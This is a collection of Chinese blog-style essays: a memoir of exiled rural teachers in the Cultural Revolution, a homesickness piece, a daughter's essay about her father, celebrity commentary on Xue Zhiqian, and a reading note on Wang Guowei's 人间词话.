《乱世佳人》费·雯丽捧回了奥斯卡小金人,从此世上再无其他人能演斯嘉丽。在战火中斯嘉丽奔走的背影,裙裾摆动。她的野性和骄傲,坚强与倔强,不甘弱示或屈服也只有费雯丽能诠释出来。

费雯丽和赫本,一个是精灵,一个是天使;一个是完美的女人,一个是天真的女孩。她们的气质各异,却活出了各自的精彩,成为了好莱坞经久不衰的闪耀明星。

怀念我的小学老师

      我的家乡是一个偏僻的农村,因为偏僻成了很多“问题”老师的贬谪地。我读小学时刚好遇上这些“有问题”的优秀老师,他们的教育对我产生深刻的影响,是我人生宝贵的财富,也是一段美好的记忆,至今我仍深深地怀念着他们。

      当时的农村是没有幼儿园的,孩子一切都是从零开始。记得第一节课,老师问大家姓名,很多同学以为是问生肖(潮汕话“姓什么”跟生肖的“肖什么”读音很近),有的说是猪,有的说是狗,搞得老师哭笑不得。

      一年级很多老师已记不起来,但方老师却永远铭记在我的心中,过了这么多年,想起来依然历历在目,仿佛她就在我眼前。

  方老师非常慈祥,常带着微笑,讲话轻声细语,在我幼小的心灵中像个可亲的大姐。方老师是普宁洪阳方氏,听说是当地名门望族,从小就有家庭老师,国学功底扎实,颇有大家闺秀的气质。她是我们的班主任,教我们语文,板书很整齐,写字娟秀端正,讲课循循善诱,常结合课文的字、词给我们讲故事,让我们听得津津有味,听完好像就懂了、记住了。

  记得有一节课,她在讲拼音,我在玩耍,她点名提问我,我不知道她问那个,就把那一课的词语都读了,其中印象最深的一个词是“留心听讲”。方老师没有打断我,笑眯眯的看着我,我如此“留心听讲”还读得头头是道,令其有点惊讶。之后她很关心我,还让我做班长,可是我十分调皮,没有做好表率,反而常带头闹翻天,以致其他老师颇有微词,方老师偶尔会提醒我,可从来都没有责骂我。

  方老师虽然品教兼优,但在那以“成份”论身份的年代,她却只能是一个代课老师,有些人有时候还会揶揄她“地主婆”。但方老师心态很平和,似乎并没有任何的委屈和不满,或许我们这帮农村孩子成了她最大的寄托。

      方老师的爱人是我们学校教导主任林老师。林老师平时很严肃,不苟言笑,我们都有点怕他。他很会管理学校,有他在,学校就安定。

   林老师教我们五年级的数学。他讲数学给我很多启迪,最深刻的是,他说公元前几百年,西方数学家、哲学家(毕达哥拉斯,当时记不住名字)说:“世界是数组成的”、“数学是最高贵的”。世界怎么可以是数组成?我十分疑惑,可那时对老师很崇信,也不敢断然去否定,但觉得很新奇,心想难道房子、饭菜也是数组成的吗?这太令人匪夷所思了。这一命题带给我长久纵深的思考,影响我的一生,使我对很多问题有不一样的看法,直到今天数码时代的来临,我们才惊叹古哲人的伟大,更被林老师的前瞻教育深深的折服。

   林老师不仅数学好,还是一位通才,几乎什么都会,其他老师有事,经常是他来代课。有一次他代上美术课,画了几个几何体素描,教我们用“透视法”观察物体、用“明暗法”表现物体,让我们觉得挺有趣,也学得像模像样。

   听大人讲,林老师是师范学院的高材生,本来分配在县城重点中学,因为与“成份”不好的方老师相恋,所以一起被贬到我们的村庄。小孩子不懂什么爱情,却因为觉得方老师很好,也在内心对林老师多了几分敬意。

  音乐老师也姓林,那时的小学只考语文、数学,其他科都是副科,音乐、美术更是象征性。可林老师教音乐,却把这个可有可无的科目教得有声有色。

      他就地取材,将当地的风土人情编成歌,如“水南埔,三百亩,三日无雨火烧埠,三日落雨水成湖……”、“树上一只小滴丢,一日到夜啾啾修,炮这响,走溜鸠……”(用潮汕话)等等,通俗易懂朗朗上口,至今我仍能随口哼歌几曲,感觉一点也不比白居易的诗词逊色。

      课堂上他常用一架破烂的风琴给我们伴奏,有时风琴坏了就用口琴,用“伴奏”来带领我们唱歌,防止我们跑调,这种反客为主的霸道伴奏,也是对付我们这些乐盲的好办法。

   林老师除了给我们上课,还常组织村里的青年男女大合唱、演小品、排戏剧,每逢重大节日或有革命活动就在大队的戏台演出,给落后的乡村带来不少歌声和欢乐。现在想起来,林老师是多么有才华,多么了不起!

      教历史的吴老师,是个“右派”分子,他为人十分正派,敢于直言,两个眼睛炯炯有神,咄咄逼人,那目光似乎就是历史的审视。他常说历史是判官,时间会校验一切是非曲直,教我们要“树正气  致良知”。他有侨亲,常穿一些舶来品,衣着一丝不苟,头发梳得很整齐,因此有人给他起个外号“西”,是西式、新潮的意思。

      “西”老师上课,从不看课本,好像课本那些记述太乏味。他常给我们讲典故:“要离刺庆忌”、“熊掌难熟”、“请君入瓮”、“土木堡之变”……每个故事都讲得绘声绘色,十分生动逼真。有时还穿插一些西方神话,最有意思的是讲丘比特:调皮的丘比特用金箭射阿波罗,让他爱上达芙妮,却用铅箭射达芙妮,让她厌恶爱情,最后达芙妮为逃避阿波罗的追求变成桂树,这就是桂冠的来历。听了这个故事我们自造弓箭,扮丘比特,射来射去,有时看到有猪来,就对着同学射“金箭”,然后笑那同学爱上猪,玩得真过瘾。

      最令人生畏的是教二年级数学的黄老师,他脚很长,有人给他起一个外号叫“长脚黄”。黄老师因为喊“毛主席万岁”时,中间打了个喷嚏,被视为不忠不敬,从县城流放到我们村。

      黄老师最大的特点就是“严”,严得近乎“酷”,我们都很怕他。他常拿着一支小木棍,谁不听话就打谁的手心或者小腿,虽然不会有伤,但非常疼。

      记得有一次他在上数学乘法表,我和邻桌几个趁他在黑板写字,偷偷的在玩,当时隔壁桌的同学说一句话:“华国锋检查当兵配乌榄”(不知道那弄出来的一句话),并拍一下我前面的同学的肩膀,那同学也没有反抗,我也跟着这样讲和拍了他,没想到他竟然哭起来。这下就麻烦,黄老师问明“元凶”,将小木棍朝我打过来,我一闪避开了,这一避激怒了他,看他气势汹汹朝我走来,我马上拔腿就往外跑,我跑了,黄老师将门关上,似乎不给我回去。我在课室外走来走去,也不知如何是好,这时刚好方老师看到,她过来问我,我将情况告诉她,以为她会骂我,可她并没有说我,而是进课室跟黄老师讲什么,一方沟通后方老师叫我进课室,但黄老师有个前提:就是要背好了乘法口诀才能坐下。我生怕挨那小木棍,硬着头皮,全神贯注的看了几遍,没想到竟然很快就背了出来。

      黄老师的严,对于我们这班常把课堂变“战场”的毛孩子来讲,刚好可以治治我们的野性,使我们用心去读书,很多人就是怕挨他的小木棍把数学读好。当年全县竞赛,我们班成绩都很好,我竟然还考了满分,而另外还有一位同学考了第六名,这是黄老师“严酷”的回报,也是那只小木棍“恐吓”的结果。对比现在老师的放任,我更怀念黄老师的严酷。

      最忧郁的是“眼镜老师”,称为“眼镜老师”是他在我们学校只教了一个学期就调走,我确实记不得他的姓名,只记得他戴着一幅眼镜。

      眼镜老
师是潮阳人,听说家族出了两个国民党将军,革命来了大都跑到海外,留在大陆的有几个给枪毙。眼镜老师的父亲是位很老实的医生,所以他才免受牢狱之灾。

      眼镜老师毕业于中山大学物理系,他教我们四年级的数学和自然。记得他教数学有很多解题的怪方法,对难题挺管用,类似现在奥数。有时他出一些很特别的题,你用常用的方法解不了,然后他提示你倒过来、转个弯,或者合起来、分出去,问题就解决了。这些怪方法打开我们思维的另一扇门,使我们知道解决问题有多种路径。他教自然时说:“自然界就是电的世界”,我觉得似是又非,并没有多想。我们最喜欢看他发电,他弄一些旧电池什么的,搭些电线,还真把小灯泡点亮,让我们觉得很神奇。

      眼镜老师给我最深刻的印象就是那忧郁的表情。他戴一幅近视镜,眼神似乎很迷茫,嘴角常有一种苦笑的感觉,很多时候好像比别人更清楚,但却欲言又止。他除了在发电时有点精神,平时总心不在焉,也没有亲切感,整个人似乎与周围隔了一层薄薄的云雾。他在云雾里想出来又想逃离,犹豫中带着几分无赖与无助,现在想起来他的内心该是多么苦闷和悲凉!

      相比眼镜老师的忧郁,苏老师却最让人感伤。苏老师没有教过我,因为我上学的时候他已经死了,之所以要讲他,是村里的人常提起他,说他是我们学校大才子,而他倒在黎明前,令人无比惋惜和悲戚。

      记得苏老师常来我家喝茶,有时带一些宣纸和色料教我大哥画国画。听大哥讲,苏老师出生在资本家家庭,受过良好的教育,他会写很多种文章,赋写得很好,大哥曾抄了几篇,可惜没有保管好,已经找不到;他还会写诉讼状,这是专业的法律文书,很少人懂;更神奇的是他会讲流利的外语,这在当时于国家都是一流的人才,何况一个偏僻的村庄学校。

      苏老师的死,是在1976年盛夏的一个晚上。记得当时村里正在放电影,大家都在广场观看,电影散场后,有人在附近的一颗大树底下发现苏老师上吊死了。当时我还小,也不懂什么,奇怪的是,看到村里有些妇女,与苏老师非亲非故竟然嚎嚎大哭。那些妇女边哭边诉说:有的说苏老师帮他们写过信、写过请帖,有的说苏老师帮他们孩子起名字,有的说苏老师帮他们写过申诉书……,总之好像苏老师帮过很多人做了很多好事。几个月后革命结束了,可惜苏老师没有熬过最后的黑夜,试问那样的岁月,有多少人像苏老师一样,在绝望中萧然逝去!

      我大哥保存了苏老师一张黑白照片,每年那天都拿出照片,热泪盈眶对照片说些“悄悄话”,我也不自觉的哽咽。但愿苏老师在天堂做上帝的老师,让我们的社会少点悲剧。

      那个非常年代让许多英才流落穷乡僻壤,他们遭遇不幸,而对我们这些乡村的孩子却是格外的幸运。这些优秀的老师激发我广泛的学习兴趣,打下我扎实的知识基础,给我的思维插上翅膀,并教诲我秉承良知,独立思考,对比今天乡村里的孩子,哪有如此福分!所以对那个年代,我不得不保持一种谨慎的思考,或许这是黑夜里一缕别样的阳光。

        我祝愿老师们幸福,也期望乡村的孩子们能得到良好的教育,可这——昨天我们没做到,今天依然没做好!明天是否能更好?

三虎    写于书房 2016年9月1日

乡愁

边城夕照

大抵每个农村出来的人,都有一种故乡情结,伴随着这种情结的还有萦绕着的,淡淡的乡愁。这种情结,在三十岁以上的人群中尤甚。那种原生态的,田园式的生活,是我们永远回不去的甜蜜的痛。

我常常在夜深人静时怀念这种生活,怀念清晨露水沾湿的双鞋,怀念傍晚斜阳拉长的背影。怀念春天时开满田野的野花,怀念秋天时风吹起伏的稻浪。怀念小伙伴们泥巴里的嬉戏打闹,怀念吃饭时妈妈悠长的呼唤。怀念天上的白云,怀念田里的稻垛,怀念星星,怀念蛐蛐,怀念煤油灯,怀念大黄狗,怀念白头翁,怀念故乡的一切……

最后一次在老家长住是零九年,因为生病,在老家休养了一段时间。记得那年回去时,刚好临近端午。下午,客车停在镇上的客运站,我拖着行李箱,在宁静的街上缓步行走,心也随之而宁静起来。来到渡口,刚好赶上最后一班去村里的渡船。

船在江面上逆水而行,两岸的景色缓慢地向后面移动,河边的水草和芦苇还是嫩绿的,像是刚摆脱了稚气的少年。河岸上长着各种各样的树,有速生的梧桐树,有垂柳,还有大樟树,老槐树。江的一边是平地,有着郁郁葱葱的田野和掩映在绿树中的村庄,江的另一边是起伏的山峦,山上同样是葱茏的绿色,但是人烟明显比另一边稀少。

在青山绿树的倒映下,平静的江水呈现出一种迷人的深绿。渡船驶过的地方,碧波荡漾,偶尔惊起几只野鸭。

四十分钟左右的航行之后,渡船停靠在了村庄的小码头上,我拖着疲惫的身躯下了船,走向了这片生我养我的土地。

村庄里静谧而又安详,充满了熟悉的味道,虽然不像儿时那样热闹,但我的心松弛柔软下来了,因为它也知道,它到家了。

在老家的那段日子里,我清晨去田野里锻炼,与清风露水作伴,白天在阶前看书,与小鸡幼犬为伍,黄花成熟时,每天帮着父亲赶在花开前采摘黄花,水稻成熟时,每天披星戴月,忙着收水稻。日子简单而纯净。

在夜里,万籁俱寂,有月亮的夜晚,月色如水银泻地,柔软而有质感;有星星的夜晚,星光璀璨,银河清晰可见。睡前一般要看一两篇文章,睡梦中偶尔会梦到我的母亲。等醒来时眼中已是满噙泪水。

村居虽好,为生计故,病好后我又回到了城市,看着眼前的喧嚣,恍若隔世。一年又一年,我在城市成家生子,回故乡的次数越来越少,每次回去也都是匆匆数日。

我知道,我离故乡是越来越远了……

《父亲写的散文诗》|这首歌里有我的爸爸

文/筱安时光

一九八四年 庄稼还没收割完  女儿躺在我怀里 睡得那么甜  今晚的露天电影 没时间去看  妻子提醒我 修修缝纫机的踏板  明天我要去 邻居家再借点钱  孩子哭了一整天哪 闹着要吃饼干  蓝色的涤卡上衣 痛往心里钻  蹲在池塘边上 给了自己两拳

第一次听这首歌,是在《跨界歌王》上,姚晨动情的演绎,听后,我泪流不止。第二次听这首歌,是在今年的《中国好声音》,这首歌深情诠释了时光流淌后凝结出的父爱之诗。

我的爸爸与这首歌里父亲的生活年代以及生活情景极其相似。

一九八四年,我的爸爸二十二岁,家里穷,不用说自行车,就连表都买不起,高二没读完便辍学回家挣工分,而我就在那个时候出生了。妈妈是奶奶用自己的闺女与我姥姥换的闺女,当时连彩礼钱都准备不出来,我爸娶上媳妇就很不错了。

印象中的爸爸总是背着行李卷出去打工的背影,一去就是两三个月,回来时要抱我,我便使劲往妈妈怀里钻。

五岁那年看见别的孩子有小车骑,哭着喊着在地上打滚非要爸爸带我去买,可是他没钱啊,至于他有没有捶自己两拳,我想有,回想这段往事时,爸爸说当时看着我哭的小脸通红心疼不已。

初中、高中、大学都在住校,回家的次数也从一星期到一个月再到只有寒暑假才回趟家,每次给爸爸打电话,他待的地方都不同,哪有活干哪就有他。

15年暑假,我大学毕业,为找工作的事发愁,他比我还着急,念叨着自己没用,他只是个老实巴交的农民,因为穷高中没有上完便出去打工,三十年的打工生涯生生的磨灭了他当年的书生气。他无权无势,也不认识什么高官领导。

可我从来没有怪过他,没有他哪有我。

一次偶然的机会,我参加了特岗考试,顺利考上老师。

15年的寒假,他没有出去干活,他的胃越来越不好了,犯恶心,吃不进去饭,越不吃饭胃越难受,越难受越不吃饭。我劝他去看看,他总是说没事,慢慢就好了。

后来,他去村里的老中医那里看了看,开始喝闻着都让我嘴里犯苦水的中药。

看着他越来越皱巴的脸,我的心里说不上来的滋味。

16年暑假前,表妹的爸爸在外打工脑出血猝死,不到50岁,这个消息,让我心里一颤,有点恐慌。

16年暑假,回到家,爸爸的情况越来越不好,他开始胡思乱想。

他怨自己,闺女找工作时,他帮不上忙,他怨自己没有能力,赚不到钱,他怨自己给不了闺女好的生活。

他怨自己,儿子马上高中毕业了,上大学的钱哪里来,上完大学去哪找工作,自己的病不好,一直在家里待着,赚不到钱。

我没有哭,只是平静地告诉他,儿孙自有儿孙福,你养我们这么大,平安健康,我就很知足了,你在我心里很了不起。

那个时候,妈妈在北京给姨姐看孩子,弟弟在县城上卢中,我在外地教学,家里只有爸爸一个人。

爸爸一个人在家,没有人和他说话,他不喝酒,不玩牌,不善言辞,便就一个人躺炕上胡思乱想。

一次偶然的机会,我鼓捣他的手机,发现他近一个月内凌晨三点多都会给我打电话。

那个时候,我开始慌了,开始懊恼自己对爸爸的关心不够。

爸爸需要的不是各种各样的养生食品,需要的不是各种各样填满手机的小说,他需要的是睡不着时,儿女的陪伴,哪怕只是简简单单的通过冰冷的手机温暖的话语。

回到学校的第一个晚上,我便把手机的自动关机的设置给停了。

第一个晚上,我没有接到电话。第二个晚上,我没有接到电话。连续好几个晚上,我都没有接到电话。

我给奶奶打电话询问爸爸的情况,奶奶说还是老样子。

晚上三点多,我给爸爸打去电话,只响了一声,爸爸便接起了,电话那头传来他似乎刚刚被吵醒时的声音,还责怪我这么晚了不休息,还吵醒他。

挂了电话,我泣不成声,我知道爸爸根本就没睡,他依然夜夜凌晨三点多就醒来,然后睁着眼睛到天明。

那以后,我经常凌晨三点多给爸爸打电话,他慢慢习惯着,开始絮絮叨叨的和我说话。

他说,他第一次听见我软软的叫“爸爸”,哭了。

他说,我小时候最喜欢玩骑大马,经常尿他一身。

他说,他出门打工好几月才回来,有一次晚上回来,要抱我,四五岁的我在他怀里哇哇大哭,因为我忘记他是谁了。

他说,我小时候看见别的孩子有小车骑,非得要,可是他没钱给我买,看着我哭的小脸通红心疼不已。

他说,我很乖,懂得照顾弟弟,小小的手拍着弟弟睡觉,那画面,让他觉得自己这辈子值了。

他说,他很骄傲,因为我每次考试都给他捧回来奖状。

他说,我不如小时候可爱了,越长大越不爱和他说话了。

每次,我都流着泪伴着他沙哑的声音入睡。

那些中药起了作用,他的胃也好了很多很多。

一九九四年 庄稼早已收割完  我的老母亲去年 离开了人间  女儿扎着马尾辫 跑进了校园 可是她最近 有点孤单瘦了一大圈 想一想未来 我老成了一堆旧纸钱 那时的女儿一定 会美得很惊艳 有个爱她的男人 要娶她回家可想到这些 我却不忍看她一眼

我要结婚了,不知道婚礼中爸爸的心情,我想,他肯定不好受。

有一年春晚,看冯巩的小品《小棉袄》,看到一半,爸爸突然走出去,回来时眼睛有些红,这个世界上,除了他,不介意我素颜邋里邋遢,嫌弃我身上的肉少,找不到二个男人了,这个世界上最爱我的男人已经娶了妈妈。

距离我的婚礼还有一个半月,每次打电话和爸爸谈到这个事时,爸爸总是沉默好一会。然后说自己累了,便把电话挂掉。

如今的他,白发夹杂黑发,曾经高大的他也变得有些佝偻了,他害怕我出嫁,我何尝不害怕再也见不到他。

这是我父亲 日记里的文字 这是他的青春 留下留下来的散文诗 几十年后 我看着泪流不止 可我的父亲已经 老得像一个影子

这是我父亲 日记里的文字 这是他的生命 留下 留下来的散文诗 几十年后 我看着泪流不止 可我的父亲已经老得像一张旧报纸 旧报纸 那上面的故事 就是一辈子

没有找见过爸爸留下的日记,可爸爸对于我,就是一段优美的散文诗,他是我的信仰和支撑,哪怕老得像一个影子,依然爱他,如他依然爱我一样爱他。


简书第49篇文章。

听着这首歌,超级想念我的爸爸。

薛之谦复合|离婚时净身出户,重新爱一次,拿去我所有

~1~

早上一睁眼就被薛之谦与前妻复合的热搜轰炸,热乎乎的甜蜜狗粮摆在眼前,引得肚子饿得叫了一天。

图片来自薛之谦微博

有意思的是陈赫和朱桢的评论:

图片来自薛之谦微博

都知道薛之谦的离婚,都知道离婚时他积蓄不多,却给了前妻高磊鑫所有,然后一个人在薄情的世界里深情地活着,晚上满身臭汗挖坑,填好后白天香喷喷地出来。

红了,“你若花开,蝴蝶自来”,太多人盼着他脱离单身、终身幸福,没想到剧情不如期待的精彩。等来的,是他千回百转、余音绕梁的回头草路数。

没看到某出轨男星的评论还好,看到了只想问,同在娱乐圈的大染缸里摸爬打,人家离婚是为了有一天把最好的生活给她,你倒好,离婚只因移情别恋。作为好朋友,他正能量的哪点影响到你了?

~2~

不再年轻不过是老薛的谦虚话。

三十几岁,是没有了二十多岁的意气风发和激情四射,但曾经走过的路;曾经做的每一件事;为达到目标所做的每一分努力;每一次被生活的挫折与磨难捶打过的疼痛;每一回跌倒又爬起的决心,以及,风雨过后万里无云的“好了伤疤忘了疼”的美好心情,都会有始有终伴随着下半生的经历,一同前行。

干哪一行都不容易,尤其在娱乐圈,时光明明很残忍,大部分人在装好人。我们看到的光鲜亮丽背后,因无力反抗潜规则选择逃离选择自杀的明星太多了。

成功分为两半,一半在天,一半掌握在自己手中。宿命和拼命不在一念之间,在于之后难以企及,却执着的坚持。

而薛之谦最令人肯定的不仅是他积极向上的励志故事,是他做人的善良和真实。

最近在追《明日之子》,实话实说,节目上他的善良和真实发挥得淋漓尽致。

先是惋惜被淘汰的廖俊涛,说他“男人”的选择至少会让他再吃十年苦,后来由于二次元的赫兹,节目组套路他投票的黑幕,他干脆与之反目。

“天下乌鸦一般黑”,心甘情愿被套路的人很多,但有薛之谦的地方,一定要多些真诚,少些套路。

靠自己的力气走到今天,还指望着他装可怜博取所有人同情,越来越卑微?不想威胁谁,他这个从来不掖着藏着的人,要么用《丑八怪》把人唱到吐,要么用段子手掐死人。

所以,薛之谦的三十几岁怎么可能不再朝气蓬勃了呢?他可不能光顾着从容,适当秀一下自己,让躲在生活角落里的阴暗亮起来吧。

~3~

回到他的感情生活。他曾在节目中夸赞孟子坤小小年纪就自带深情,唱歌时总让自己想起过去那些感情。

这又让我们看到了他是个念旧的人,《吐槽大会》他是主咖那期,从把最后的奖励给了过气的主持人朱桢就可以看出来。他念念不忘的,是离婚时,好友朱桢劝自己,男人就得有个男人样,哪怕净身出户,没有什么不可以。

念旧的人活得很累。记忆里的东西既多又细致,会记得每次的见面、牵手、漫步,还有她眼睫毛不经意之间的颤动。

过去在一起的时光短暂而漫长,种种美好再次在脑海中泛滥成灾后,会贱贱地忘记离开的这些年自己究竟挣了多少钱,做了什么努力,走过哪些弯路,流过多少泪水。

离开后你过得怎么样?很精彩吧?我也是,上节目、出专辑、到处客串演出,集段子手、歌手、演员于一身。

也曾考虑过再找一个伴,但有人说,看多了那些人性中的虚假,一旦厌恶了真的,很难再去喜欢别人。

分开后每次有这个念头,都会看看角落里那个旧杯子,有一点恐惧,害怕天长日久它会突然炸掉,不敢去碰,不敢用它接太烫的水,上面的裂纹很长,怕一不留神,它会碎。

困于其中,越陷其中。水已经变了颜色,就是不想丢弃,不想换新的。

这就是薛之谦,表面嘻嘻哈哈,其实念旧而敏感,在情感的世界里来来去去,处处被高磊鑫的旧情羁绊,一点儿不洒脱。

既然满脑子都是她,既然她还废寝忘食活在回忆里,既然余生的路没有她陪,一点儿不惬意,复合吧,趁着青春还有尾巴,趁着不再年轻,还没老掉牙。

我毁了艘小船 逼我们隔着岸

冷眼旁观 最后一段 对白还有点烂

你可以 为我们的散 不用承担

是我 投入到一半 感到不安

好过未来一点一点纠缠

分手太仓促,当初太年轻,不知道收敛自己的个性,不懂得包容对方的缺点,更躲不过朝夕相处的鸡毛蒜皮。以为,离婚了,净身出户算是负责,但走了一圈才发现,看了好多段子,写了好多段子,骗得了别人,骗不了自己的心:

回头重新爱一次,我相信了命运。

就让薛之谦再打一次自己的脸,余生唱着自己写的歌,和高磊鑫一点一点纠缠。

读《人间词话》:在理想中现实,在现实中邻于理想

“造境”和“写境”是王国维先生在《人间词话》中对写虚(书中成为“理想”)和写实两种手法的定义。也指出两者是很难区别的,因为诗词写作大师们所写的虚拟之境也是合乎自然,所描绘的现实之境也接近理想。

苏缨在《人间词话精读中》用其他的艺术来更具象的解释,“造境”与“写境”,在诗歌上有李白和杜甫的区别,李白是浪漫主义理想派,杜甫是现实派;在绘画上有达利和塞上的区别,对比下方图片两者的作品可明显感受到区别;在电影有宫崎骏与贾樟柯的区别,前者是善于营造一个类似梦境的世外桃源,如《千与千寻》的荒诞世界,后者却善用看似平淡沉闷的细节还原现实世界,如《三峡好人》用平实的风格展现电影的现实意义。

达利作品:理想派
塞尚作品:写实派

这两种看似截然相反的艺术途径,前者是理想派(造境),后者是写实派(写境)。

在诗词中,造境的佳作有唐代诗人李贺的《天上谣》:

天河夜转漂回星,银浦流云学水声。

玉宫桂树花未落,仙妾采香垂珮缨。

秦妃卷帘北窗晓,窗前植桐青凤小。

王子吹笙鹅管长,呼龙耕烟种瑶草。

粉霞红绶藕丝裙,青洲步拾兰苕春。

东指羲和能走马,海尘新生石山下。

【这首诗不在描写任何现实,完全是一个幻想者最瑰丽的幻想。从银河写到月宫,从天上的风景写到仙子的生活。镜头拉近的时候,又与典故结合,“秦妃”是秦穆公的女儿弄玉与丈夫“萧史”的夫唱妇随的神仙眷侣生活。借着弄玉的眼睛,又看到了天上的王子在吹笙箫,仙女在采摘仙草的姿态。最后两句,又来了逆转,太阳在天空飞驰,人间岁月流逝,沧海又变成了桑田。整首诗是作者的想象,是理想的,而想象中的细节却又合乎自然,贴近真实。】

写实的佳作,周邦彦的《苏幕遮》:

燎沈香,消溽暑。鸟雀呼晴,侵晓窥檐语。叶上初阳干宿雨,水面清圆,一一风荷举。

故乡遥,何日去?家住吴门,久作长安旅。五月渔郎相忆否?小楫轻舟,梦入芙蓉浦。

【“叶上初阳干宿雨,水面清圆,一一风荷举。”是千古传唱的名句,描绘出了娇柔最多情的那一刹那,它是写实的,却最大限度的写出了荷花的理想之态。】

理想与写实,不是完全对立的两种手法,写作中,以逼近真实的细节来“造境”,以邻于理想的状态来“写实”,才能笔下生花、传神动人。

end

我是双桅船sansa

为打造“平行世界”而精进着!